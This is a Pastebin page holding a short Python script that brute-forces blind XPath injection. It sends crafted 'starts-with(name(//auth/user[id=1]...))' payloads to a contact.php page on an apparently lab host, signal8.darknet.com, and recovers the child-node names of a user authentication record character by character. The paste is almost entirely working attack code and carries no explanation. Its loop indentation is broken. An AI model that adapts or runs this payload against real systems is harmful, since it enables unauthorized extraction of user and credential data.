daily pastebin goal
41%
SHARE
TWEET

Untitled

a guest Jan 18th, 2019 56 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import requests
  2. import string
  3. import sys
  4. from bruteXmlNumChildren import bruteXmlNumChildren
  5.  
  6. def print_no_line(t):
  7.     sys.stdout.write(t)
  8.     sys.stdout.flush()
  9.  
  10. def bruteXmlAttributes():
  11.     url = 'http://signal8.darknet.com/contact.php'
  12.     payload = '1 and starts-with(name(//auth/user[id=1]/child::node()[num]), "{}")'
  13.     num_children = bruteXmlNumChildren()
  14.     for i in range(1,num_children+1):
  15.  
  16.         print_no_line("\nChild number " + str(i)+": ")
  17.        
  18.         payloadNumber = payload.replace("num", str(i))
  19.         stop = False
  20.         name = ''
  21.         while not stop:
  22.         stop = True
  23.         for char in string.printable:
  24.             payloadLetter = payloadNumber.replace("letter", char)
  25.             r = requests.get(url, params={'id': payloadLetter.format(name + char)})
  26.             if 'darknet.com' in r.text:
  27.                 name += char
  28.                 print_no_line(char)
  29.                 stop = False
  30.     print("")
  31.  
  32. bruteXmlAttributes()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top